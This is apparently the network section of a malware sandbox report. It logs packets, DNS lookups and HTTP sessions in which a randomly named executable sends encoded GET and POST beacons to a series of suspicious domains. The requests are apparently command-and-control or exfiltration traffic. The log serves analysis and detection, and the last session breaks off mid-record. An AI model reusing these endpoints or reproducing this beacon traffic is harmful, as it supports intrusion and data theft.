Sep 26, 2024 15:24:21.937344074 CEST	80	49733	3.33.130.190	192.168.2.5
Sep 26, 2024 15:24:22.382684946 CEST	80	49733	3.33.130.190	192.168.2.5
Sep 26, 2024 15:24:22.382752895 CEST	49733	80	192.168.2.5	3.33.130.190
Sep 26, 2024 15:24:23.442092896 CEST	49733	80	192.168.2.5	3.33.130.190
Sep 26, 2024 15:24:23.447248936 CEST	80	49733	3.33.130.190	192.168.2.5
Sep 26, 2024 15:24:24.458714008 CEST	49734	80	192.168.2.5	3.33.130.190
Sep 26, 2024 15:24:24.464042902 CEST	80	49734	3.33.130.190	192.168.2.5
Sep 26, 2024 15:24:24.464179039 CEST	49734	80	192.168.2.5	3.33.130.190
Sep 26, 2024 15:24:24.475020885 CEST	49734	80	192.168.2.5	3.33.130.190
Sep 26, 2024 15:24:24.479933977 CEST	80	49734	3.33.130.190	192.168.2.5
Sep 26, 2024 15:24:24.480011940 CEST	80	49734	3.33.130.190	192.168.2.5
Sep 26, 2024 15:24:24.949656010 CEST	80	49734	3.33.130.190	192.168.2.5
Sep 26, 2024 15:24:24.949810028 CEST	49734	80	192.168.2.5	3.33.130.190
Sep 26, 2024 15:24:25.986453056 CEST	49734	80	192.168.2.5	3.33.130.190
Sep 26, 2024 15:24:25.991200924 CEST	80	49734	3.33.130.190	192.168.2.5
Sep 26, 2024 15:24:27.008244991 CEST	49735	80	192.168.2.5	3.33.130.190
Sep 26, 2024 15:24:27.013065100 CEST	80	49735	3.33.130.190	192.168.2.5
Sep 26, 2024 15:24:27.016184092 CEST	49735	80	192.168.2.5	3.33.130.190
Sep 26, 2024 15:24:27.024223089 CEST	49735	80	192.168.2.5	3.33.130.190
Sep 26, 2024 15:24:27.028983116 CEST	80	49735	3.33.130.190	192.168.2.5
Sep 26, 2024 15:24:27.492445946 CEST	80	49735	3.33.130.190	192.168.2.5
Sep 26, 2024 15:24:27.492887974 CEST	80	49735	3.33.130.190	192.168.2.5
Sep 26, 2024 15:24:27.494267941 CEST	49735	80	192.168.2.5	3.33.130.190
Sep 26, 2024 15:24:27.498075962 CEST	49735	80	192.168.2.5	3.33.130.190
Sep 26, 2024 15:24:27.502957106 CEST	80	49735	3.33.130.190	192.168.2.5
Sep 26, 2024 15:24:32.534687996 CEST	49736	80	192.168.2.5	3.33.130.190
Sep 26, 2024 15:24:32.539580107 CEST	80	49736	3.33.130.190	192.168.2.5
Sep 26, 2024 15:24:32.539664984 CEST	49736	80	192.168.2.5	3.33.130.190
Sep 26, 2024 15:24:32.550617933 CEST	49736	80	192.168.2.5	3.33.130.190
Sep 26, 2024 15:24:32.555510998 CEST	80	49736	3.33.130.190	192.168.2.5
Sep 26, 2024 15:24:32.994739056 CEST	80	49736	3.33.130.190	192.168.2.5
Sep 26, 2024 15:24:32.994874954 CEST	49736	80	192.168.2.5	3.33.130.190
Sep 26, 2024 15:24:34.064575911 CEST	49736	80	192.168.2.5	3.33.130.190
Sep 26, 2024 15:24:34.071039915 CEST	80	49736	3.33.130.190	192.168.2.5
Sep 26, 2024 15:24:35.083651066 CEST	49737	80	192.168.2.5	3.33.130.190
Sep 26, 2024 15:24:35.088584900 CEST	80	49737	3.33.130.190	192.168.2.5
Sep 26, 2024 15:24:35.090176105 CEST	49737	80	192.168.2.5	3.33.130.190
Sep 26, 2024 15:24:35.102122068 CEST	49737	80	192.168.2.5	3.33.130.190
Sep 26, 2024 15:24:35.107181072 CEST	80	49737	3.33.130.190	192.168.2.5
Sep 26, 2024 15:24:35.550893068 CEST	80	49737	3.33.130.190	192.168.2.5
Sep 26, 2024 15:24:35.552839041 CEST	49737	80	192.168.2.5	3.33.130.190
Sep 26, 2024 15:24:36.611437082 CEST	49737	80	192.168.2.5	3.33.130.190
Sep 26, 2024 15:24:36.616775990 CEST	80	49737	3.33.130.190	192.168.2.5
Sep 26, 2024 15:24:37.630801916 CEST	49738	80	192.168.2.5	3.33.130.190
Sep 26, 2024 15:24:37.635734081 CEST	80	49738	3.33.130.190	192.168.2.5
Sep 26, 2024 15:24:37.635821104 CEST	49738	80	192.168.2.5	3.33.130.190
Sep 26, 2024 15:24:37.648211002 CEST	49738	80	192.168.2.5	3.33.130.190
Sep 26, 2024 15:24:37.654695034 CEST	80	49738	3.33.130.190	192.168.2.5
Sep 26, 2024 15:24:37.654850006 CEST	80	49738	3.33.130.190	192.168.2.5
Sep 26, 2024 15:24:38.092602968 CEST	80	49738	3.33.130.190	192.168.2.5
Sep 26, 2024 15:24:38.092660904 CEST	49738	80	192.168.2.5	3.33.130.190
Sep 26, 2024 15:24:39.160135031 CEST	49738	80	192.168.2.5	3.33.130.190
Sep 26, 2024 15:24:39.165190935 CEST	80	49738	3.33.130.190	192.168.2.5
Sep 26, 2024 15:24:40.180680037 CEST	49739	80	192.168.2.5	3.33.130.190
Sep 26, 2024 15:24:40.185825109 CEST	80	49739	3.33.130.190	192.168.2.5
Sep 26, 2024 15:24:40.185909033 CEST	49739	80	192.168.2.5	3.33.130.190
Sep 26, 2024 15:24:40.196541071 CEST	49739	80	192.168.2.5	3.33.130.190
Sep 26, 2024 15:24:40.201431990 CEST	80	49739	3.33.130.190	192.168.2.5
Sep 26, 2024 15:24:40.651166916 CEST	80	49739	3.33.130.190	192.168.2.5
Sep 26, 2024 15:24:40.651357889 CEST	80	49739	3.33.130.190	192.168.2.5
Sep 26, 2024 15:24:40.651607990 CEST	49739	80	192.168.2.5	3.33.130.190
Sep 26, 2024 15:24:40.654217005 CEST	49739	80	192.168.2.5	3.33.130.190
Sep 26, 2024 15:24:40.659049988 CEST	80	49739	3.33.130.190	192.168.2.5
Sep 26, 2024 15:24:45.896491051 CEST	49740	80	192.168.2.5	85.153.138.113
Sep 26, 2024 15:24:45.901509047 CEST	80	49740	85.153.138.113	192.168.2.5
Sep 26, 2024 15:24:45.901595116 CEST	49740	80	192.168.2.5	85.153.138.113
Sep 26, 2024 15:24:45.915941954 CEST	49740	80	192.168.2.5	85.153.138.113
Sep 26, 2024 15:24:45.921030045 CEST	80	49740	85.153.138.113	192.168.2.5
Sep 26, 2024 15:24:46.626456976 CEST	80	49740	85.153.138.113	192.168.2.5
Sep 26, 2024 15:24:46.626894951 CEST	80	49740	85.153.138.113	192.168.2.5
Sep 26, 2024 15:24:46.626949072 CEST	80	49740	85.153.138.113	192.168.2.5
Sep 26, 2024 15:24:46.627043009 CEST	49740	80	192.168.2.5	85.153.138.113
Sep 26, 2024 15:24:47.424271107 CEST	49740	80	192.168.2.5	85.153.138.113
Sep 26, 2024 15:24:48.443820000 CEST	49741	80	192.168.2.5	85.153.138.113
Sep 26, 2024 15:24:48.453391075 CEST	80	49741	85.153.138.113	192.168.2.5
Sep 26, 2024 15:24:48.453488111 CEST	49741	80	192.168.2.5	85.153.138.113
Sep 26, 2024 15:24:48.466774940 CEST	49741	80	192.168.2.5	85.153.138.113
Sep 26, 2024 15:24:48.478318930 CEST	80	49741	85.153.138.113	192.168.2.5
Sep 26, 2024 15:24:49.257050991 CEST	80	49741	85.153.138.113	192.168.2.5
Sep 26, 2024 15:24:49.258821964 CEST	80	49741	85.153.138.113	192.168.2.5
Sep 26, 2024 15:24:49.258840084 CEST	80	49741	85.153.138.113	192.168.2.5
Sep 26, 2024 15:24:49.258934975 CEST	49741	80	192.168.2.5	85.153.138.113
Sep 26, 2024 15:24:49.258934975 CEST	49741	80	192.168.2.5	85.153.138.113
Sep 26, 2024 15:24:49.970933914 CEST	49741	80	192.168.2.5	85.153.138.113
Sep 26, 2024 15:24:51.026884079 CEST	49742	80	192.168.2.5	85.153.138.113
Sep 26, 2024 15:24:51.032505035 CEST	80	49742	85.153.138.113	192.168.2.5
Sep 26, 2024 15:24:51.038302898 CEST	49742	80	192.168.2.5	85.153.138.113
Sep 26, 2024 15:24:51.057895899 CEST	49742	80	192.168.2.5	85.153.138.113
Sep 26, 2024 15:24:51.068254948 CEST	80	49742	85.153.138.113	192.168.2.5
Sep 26, 2024 15:24:51.069972992 CEST	80	49742	85.153.138.113	192.168.2.5
Sep 26, 2024 15:24:51.979511023 CEST	80	49742	85.153.138.113	192.168.2.5
Sep 26, 2024 15:24:51.979636908 CEST	80	49742	85.153.138.113	192.168.2.5
Sep 26, 2024 15:24:51.979650974 CEST	80	49742	85.153.138.113	192.168.2.5
Sep 26, 2024 15:24:51.979676962 CEST	49742	80	192.168.2.5	85.153.138.113
Sep 26, 2024 15:24:51.979708910 CEST	49742	80	192.168.2.5	85.153.138.113
Sep 26, 2024 15:24:52.564632893 CEST	49742	80	192.168.2.5	85.153.138.113
Sep 26, 2024 15:24:53.882705927 CEST	49743	80	192.168.2.5	85.153.138.113
Sep 26, 2024 15:24:53.887908936 CEST	80	49743	85.153.138.113	192.168.2.5
Sep 26, 2024 15:24:53.887994051 CEST	49743	80	192.168.2.5	85.153.138.113
Sep 26, 2024 15:24:53.900444984 CEST	49743	80	192.168.2.5	85.153.138.113
Sep 26, 2024 15:24:53.930485964 CEST	80	49743	85.153.138.113	192.168.2.5
Sep 26, 2024 15:24:54.665582895 CEST	80	49743	85.153.138.113	192.168.2.5
Sep 26, 2024 15:24:54.666361094 CEST	80	49743	85.153.138.113	192.168.2.5
Sep 26, 2024 15:24:54.666378021 CEST	80	49743	85.153.138.113	192.168.2.5
Sep 26, 2024 15:24:54.672158957 CEST	49743	80	192.168.2.5	85.153.138.113
Sep 26, 2024 15:24:54.678117037 CEST	49743	80	192.168.2.5	85.153.138.113
Sep 26, 2024 15:24:54.683541059 CEST	80	49743	85.153.138.113	192.168.2.5
Sep 26, 2024 15:24:59.819639921 CEST	49744	80	192.168.2.5	172.67.165.25
Sep 26, 2024 15:24:59.824601889 CEST	80	49744	172.67.165.25	192.168.2.5
Sep 26, 2024 15:24:59.824667931 CEST	49744	80	192.168.2.5	172.67.165.25
Sep 26, 2024 15:24:59.838757038 CEST	49744	80	192.168.2.5	172.67.165.25
Sep 26, 2024 15:24:59.843777895 CEST	80	49744	172.67.165.25	192.168.2.5
Sep 26, 2024 15:25:00.941833973 CEST	80	49744	172.67.165.25	192.168.2.5
Sep 26, 2024 15:25:00.941847086 CEST	80	49744	172.67.165.25	192.168.2.5
Sep 26, 2024 15:25:00.941863060 CEST	80	49744	172.67.165.25	192.168.2.5
Sep 26, 2024 15:25:00.941867113 CEST	80	49744	172.67.165.25	192.168.2.5
Sep 26, 2024 15:25:00.942004919 CEST	49744	80	192.168.2.5	172.67.165.25
Sep 26, 2024 15:25:01.346101999 CEST	49744	80	192.168.2.5	172.67.165.25
Sep 26, 2024 15:25:02.893795967 CEST	49745	80	192.168.2.5	172.67.165.25
Sep 26, 2024 15:25:02.899184942 CEST	80	49745	172.67.165.25	192.168.2.5
Sep 26, 2024 15:25:02.899281025 CEST	49745	80	192.168.2.5	172.67.165.25
Sep 26, 2024 15:25:02.910291910 CEST	49745	80	192.168.2.5	172.67.165.25
Sep 26, 2024 15:25:02.915215969 CEST	80	49745	172.67.165.25	192.168.2.5
Sep 26, 2024 15:25:03.908273935 CEST	80	49745	172.67.165.25	192.168.2.5
Sep 26, 2024 15:25:03.909883976 CEST	80	49745	172.67.165.25	192.168.2.5
Sep 26, 2024 15:25:03.909946918 CEST	49745	80	192.168.2.5	172.67.165.25
Sep 26, 2024 15:25:04.424560070 CEST	49745	80	192.168.2.5	172.67.165.25
Sep 26, 2024 15:25:05.992919922 CEST	49746	80	192.168.2.5	172.67.165.25
Sep 26, 2024 15:25:05.998013973 CEST	80	49746	172.67.165.25	192.168.2.5
Sep 26, 2024 15:25:05.998135090 CEST	49746	80	192.168.2.5	172.67.165.25
Sep 26, 2024 15:25:06.011473894 CEST	49746	80	192.168.2.5	172.67.165.25
Sep 26, 2024 15:25:06.016449928 CEST	80	49746	172.67.165.25	192.168.2.5
Sep 26, 2024 15:25:06.016462088 CEST	80	49746	172.67.165.25	192.168.2.5
Sep 26, 2024 15:25:07.010147095 CEST	80	49746	172.67.165.25	192.168.2.5
Sep 26, 2024 15:25:07.011473894 CEST	80	49746	172.67.165.25	192.168.2.5
Sep 26, 2024 15:25:07.014255047 CEST	49746	80	192.168.2.5	172.67.165.25
Sep 26, 2024 15:25:07.517755032 CEST	49746	80	192.168.2.5	172.67.165.25

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 26, 2024 15:22:24.954106092 CEST	59394	53	192.168.2.5	1.1.1.1
Sep 26, 2024 15:22:25.016787052 CEST	53	59394	1.1.1.1	192.168.2.5
Sep 26, 2024 15:22:40.724934101 CEST	60622	53	192.168.2.5	1.1.1.1
Sep 26, 2024 15:22:40.759285927 CEST	53	60622	1.1.1.1	192.168.2.5
Sep 26, 2024 15:22:54.224633932 CEST	61878	53	192.168.2.5	1.1.1.1
Sep 26, 2024 15:22:54.491645098 CEST	53	61878	1.1.1.1	192.168.2.5
Sep 26, 2024 15:23:07.699139118 CEST	59221	53	192.168.2.5	1.1.1.1
Sep 26, 2024 15:23:07.712119102 CEST	53	59221	1.1.1.1	192.168.2.5
Sep 26, 2024 15:23:21.990358114 CEST	51473	53	192.168.2.5	1.1.1.1
Sep 26, 2024 15:23:22.109816074 CEST	53	51473	1.1.1.1	192.168.2.5
Sep 26, 2024 15:23:36.552768946 CEST	59619	53	192.168.2.5	1.1.1.1
Sep 26, 2024 15:23:37.089288950 CEST	53	59619	1.1.1.1	192.168.2.5
Sep 26, 2024 15:24:11.272336960 CEST	57016	53	192.168.2.5	1.1.1.1
Sep 26, 2024 15:24:11.280822992 CEST	53	57016	1.1.1.1	192.168.2.5
Sep 26, 2024 15:24:19.334300041 CEST	50893	53	192.168.2.5	1.1.1.1
Sep 26, 2024 15:24:19.360846043 CEST	53	50893	1.1.1.1	192.168.2.5
Sep 26, 2024 15:24:32.505887032 CEST	57560	53	192.168.2.5	1.1.1.1
Sep 26, 2024 15:24:32.532193899 CEST	53	57560	1.1.1.1	192.168.2.5
Sep 26, 2024 15:24:45.664087057 CEST	52226	53	192.168.2.5	1.1.1.1
Sep 26, 2024 15:24:45.893224955 CEST	53	52226	1.1.1.1	192.168.2.5
Sep 26, 2024 15:24:59.678277016 CEST	50436	53	192.168.2.5	1.1.1.1
Sep 26, 2024 15:24:59.815284014 CEST	53	50436	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 26, 2024 15:22:24.954106092 CEST	192.168.2.5	1.1.1.1	0x8dbe	Standard query (0)	www.2bhp.com	A (IP address)	IN (0x0001)	false
Sep 26, 2024 15:22:40.724934101 CEST	192.168.2.5	1.1.1.1	0xc4c4	Standard query (0)	www.ultraleap.net	A (IP address)	IN (0x0001)	false
Sep 26, 2024 15:22:54.224633932 CEST	192.168.2.5	1.1.1.1	0xb255	Standard query (0)	www.dalong.site	A (IP address)	IN (0x0001)	false
Sep 26, 2024 15:23:07.699139118 CEST	192.168.2.5	1.1.1.1	0xad4	Standard query (0)	www.mgeducacaopro.online	A (IP address)	IN (0x0001)	false
Sep 26, 2024 15:23:21.990358114 CEST	192.168.2.5	1.1.1.1	0xd468	Standard query (0)	www.heldhold.xyz	A (IP address)	IN (0x0001)	false
Sep 26, 2024 15:23:36.552768946 CEST	192.168.2.5	1.1.1.1	0x9b16	Standard query (0)	www.63582.photo	A (IP address)	IN (0x0001)	false
Sep 26, 2024 15:24:11.272336960 CEST	192.168.2.5	1.1.1.1	0xc5c8	Standard query (0)	www.useanecdotenow.tech	A (IP address)	IN (0x0001)	false
Sep 26, 2024 15:24:19.334300041 CEST	192.168.2.5	1.1.1.1	0x3e04	Standard query (0)	www.asiapartnars.online	A (IP address)	IN (0x0001)	false
Sep 26, 2024 15:24:32.505887032 CEST	192.168.2.5	1.1.1.1	0x3eae	Standard query (0)	www.linkwave.cloud	A (IP address)	IN (0x0001)	false
Sep 26, 2024 15:24:45.664087057 CEST	192.168.2.5	1.1.1.1	0xc9d0	Standard query (0)	www.mfgarage.net	A (IP address)	IN (0x0001)	false
Sep 26, 2024 15:24:59.678277016 CEST	192.168.2.5	1.1.1.1	0x5748	Standard query (0)	www.b5x7vk.agency	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 26, 2024 15:22:25.016787052 CEST	1.1.1.1	192.168.2.5	0x8dbe	No error (0)	www.2bhp.com		81.88.63.46	A (IP address)	IN (0x0001)	false
Sep 26, 2024 15:22:40.759285927 CEST	1.1.1.1	192.168.2.5	0xc4c4	No error (0)	www.ultraleap.net	webredir.vip.gandi.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 26, 2024 15:22:40.759285927 CEST	1.1.1.1	192.168.2.5	0xc4c4	No error (0)	webredir.vip.gandi.net		217.70.184.50	A (IP address)	IN (0x0001)	false
Sep 26, 2024 15:22:54.491645098 CEST	1.1.1.1	192.168.2.5	0xb255	No error (0)	www.dalong.site	dalong.site		CNAME (Canonical name)	IN (0x0001)	false
Sep 26, 2024 15:22:54.491645098 CEST	1.1.1.1	192.168.2.5	0xb255	No error (0)	dalong.site		172.96.187.60	A (IP address)	IN (0x0001)	false
Sep 26, 2024 15:23:07.712119102 CEST	1.1.1.1	192.168.2.5	0xad4	No error (0)	www.mgeducacaopro.online	mgeducacaopro.online		CNAME (Canonical name)	IN (0x0001)	false
Sep 26, 2024 15:23:07.712119102 CEST	1.1.1.1	192.168.2.5	0xad4	No error (0)	mgeducacaopro.online		3.33.130.190	A (IP address)	IN (0x0001)	false
Sep 26, 2024 15:23:07.712119102 CEST	1.1.1.1	192.168.2.5	0xad4	No error (0)	mgeducacaopro.online		15.197.148.33	A (IP address)	IN (0x0001)	false
Sep 26, 2024 15:23:22.109816074 CEST	1.1.1.1	192.168.2.5	0xd468	No error (0)	www.heldhold.xyz		67.223.117.189	A (IP address)	IN (0x0001)	false
Sep 26, 2024 15:23:37.089288950 CEST	1.1.1.1	192.168.2.5	0x9b16	No error (0)	www.63582.photo	6ybpt9er.as66588.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 26, 2024 15:23:37.089288950 CEST	1.1.1.1	192.168.2.5	0x9b16	No error (0)	6ybpt9er.as66588.com	azkwupgf.as66588.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 26, 2024 15:23:37.089288950 CEST	1.1.1.1	192.168.2.5	0x9b16	No error (0)	azkwupgf.as66588.com		103.248.137.209	A (IP address)	IN (0x0001)	false
Sep 26, 2024 15:24:11.280822992 CEST	1.1.1.1	192.168.2.5	0xc5c8	Name error (3)	www.useanecdotenow.tech	none	none	A (IP address)	IN (0x0001)	false
Sep 26, 2024 15:24:19.360846043 CEST	1.1.1.1	192.168.2.5	0x3e04	No error (0)	www.asiapartnars.online	asiapartnars.online		CNAME (Canonical name)	IN (0x0001)	false
Sep 26, 2024 15:24:19.360846043 CEST	1.1.1.1	192.168.2.5	0x3e04	No error (0)	asiapartnars.online		3.33.130.190	A (IP address)	IN (0x0001)	false
Sep 26, 2024 15:24:19.360846043 CEST	1.1.1.1	192.168.2.5	0x3e04	No error (0)	asiapartnars.online		15.197.148.33	A (IP address)	IN (0x0001)	false
Sep 26, 2024 15:24:32.532193899 CEST	1.1.1.1	192.168.2.5	0x3eae	No error (0)	www.linkwave.cloud	linkwave.cloud		CNAME (Canonical name)	IN (0x0001)	false
Sep 26, 2024 15:24:32.532193899 CEST	1.1.1.1	192.168.2.5	0x3eae	No error (0)	linkwave.cloud		3.33.130.190	A (IP address)	IN (0x0001)	false
Sep 26, 2024 15:24:32.532193899 CEST	1.1.1.1	192.168.2.5	0x3eae	No error (0)	linkwave.cloud		15.197.148.33	A (IP address)	IN (0x0001)	false
Sep 26, 2024 15:24:45.893224955 CEST	1.1.1.1	192.168.2.5	0xc9d0	No error (0)	www.mfgarage.net		85.153.138.113	A (IP address)	IN (0x0001)	false
Sep 26, 2024 15:24:59.815284014 CEST	1.1.1.1	192.168.2.5	0x5748	No error (0)	www.b5x7vk.agency		172.67.165.25	A (IP address)	IN (0x0001)	false
Sep 26, 2024 15:24:59.815284014 CEST	1.1.1.1	192.168.2.5	0x5748	No error (0)	www.b5x7vk.agency		104.21.11.31	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.2bhp.com

www.ultraleap.net

www.dalong.site

www.mgeducacaopro.online

www.heldhold.xyz

www.63582.photo

www.asiapartnars.online

www.linkwave.cloud

www.mfgarage.net

www.b5x7vk.agency

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49709	81.88.63.46	80	2556	C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 15:22:25.040668964 CEST	519	OUT	GET /a4ar/?vf5pwn=bigEPZ6XMKFUrjbkOOF/tc1QSeZpy4rj9U81Matj+rZ/AUf1cwoUFkvfutX9dfv4h0MjihypUwM2GA6oEMuOCaAaQ3Lxux4SSFbsDgkYjgjAaiC5myZdzdYIguvdh1gvDg==&lHul=nfQTqL40vDEpIp30 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.2bhp.com Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Sep 26, 2024 15:22:25.683492899 CEST	367	IN	HTTP/1.1 404 Not Found Date: Thu, 26 Sep 2024 13:22:25 GMT Server: Apache Content-Length: 203 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 61 34 61 72 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /a4ar/ was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49710	217.70.184.50	80	2556	C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 15:22:40.778537035 CEST	772	OUT	POST /8pln/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.ultraleap.net Origin: http://www.ultraleap.net Content-Length: 207 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.ultraleap.net/8pln/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 76 66 35 70 77 6e 3d 65 2f 58 6a 75 76 46 59 68 35 34 77 34 36 70 41 31 52 66 4e 51 72 73 6b 61 4b 4d 33 35 76 51 7a 47 57 52 74 63 31 66 38 33 30 62 31 4a 32 38 54 46 74 63 79 2b 44 4e 50 4c 41 73 55 63 6f 4e 74 50 70 6e 76 58 68 6d 33 72 38 48 6b 4b 75 77 70 76 39 69 48 6f 37 6a 45 77 70 42 4e 61 49 78 51 76 36 4f 4b 59 53 36 7a 5a 32 50 51 61 72 4d 72 4d 43 34 36 48 6b 76 6b 49 63 47 36 46 6e 6e 43 68 55 32 55 4c 69 43 57 57 52 4a 79 36 78 45 50 35 46 42 39 4b 76 44 46 72 55 6d 70 2b 51 72 33 6a 4d 66 38 65 42 46 34 4c 75 4c 65 52 6b 6f 73 31 75 4a 4b 65 37 72 63 49 42 2f 4e 63 6e 4d 55 43 79 56 65 59 41 73 3d Data Ascii: vf5pwn=e/XjuvFYh54w46pA1RfNQrskaKM35vQzGWRtc1f830b1J28TFtcy+DNPLAsUcoNtPpnvXhm3r8HkKuwpv9iHo7jEwpBNaIxQv6OKYS6zZ2PQarMrMC46HkvkIcG6FnnChU2ULiCWWRJy6xEP5FB9KvDFrUmp+Qr3jMf8eBF4LuLeRkos1uJKe7rcIB/NcnMUCyVeYAs=
Sep 26, 2024 15:22:41.397710085 CEST	608	IN	HTTP/1.1 501 Unsupported method ('POST') Server: nginx Date: Thu, 26 Sep 2024 13:22:41 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Data Raw: 31 61 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 31 2f 2f 45 4e 22 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 31 2f 44 54 44 2f 78 68 74 6d 6c 31 31 2e 64 74 64 22 3e 0a 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 48 54 4d 4c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 35 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 35 30 31 20 55 6e 73 75 70 70 6f 72 74 65 64 20 6d 65 74 68 6f 64 20 28 27 50 4f 53 54 27 29 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 68 31 3e 55 6e 73 75 70 70 6f [TRUNCATED] Data Ascii: 1ac<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <meta http-equiv="Content-Type" content="text/HTML; charset=iso-8859-15" /> <title>501 Unsupported method ('POST')</title> </head> <body> <h1>Unsupported method ('POST')</h1> <p>Server does not support this operation</p> </body></html> 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49711	217.70.184.50	80	2556	C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 15:22:43.321964979 CEST	792	OUT	POST /8pln/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.ultraleap.net Origin: http://www.ultraleap.net Content-Length: 227 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.ultraleap.net/8pln/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 76 66 35 70 77 6e 3d 65 2f 58 6a 75 76 46 59 68 35 34 77 69 5a 68 41 7a 78 6a 4e 52 4c 73 6a 51 71 4d 33 79 50 51 76 47 57 56 74 63 30 72 57 33 48 2f 31 49 55 6b 54 45 73 63 79 35 44 4e 50 41 67 73 49 54 49 4d 68 50 70 71 51 58 67 61 33 72 34 76 6b 4b 75 67 70 76 4f 36 45 36 62 6a 47 34 4a 42 4c 48 34 78 51 76 36 4f 4b 59 53 75 4e 5a 32 58 51 61 61 38 72 4d 6d 73 35 4f 45 76 6e 65 73 47 36 50 33 6e 65 68 55 33 48 4c 6e 69 73 57 54 42 79 36 78 55 50 34 55 42 2b 5a 50 44 4c 6c 30 6e 43 7a 67 2f 36 76 4b 4c 39 65 52 51 52 5a 66 4c 42 51 53 46 47 76 4d 42 69 4e 62 48 6b 59 53 33 36 4e 58 74 39 59 52 46 75 47 58 34 47 4f 75 48 58 51 59 2b 4a 61 56 6e 2b 74 46 63 54 33 50 73 54 Data Ascii: 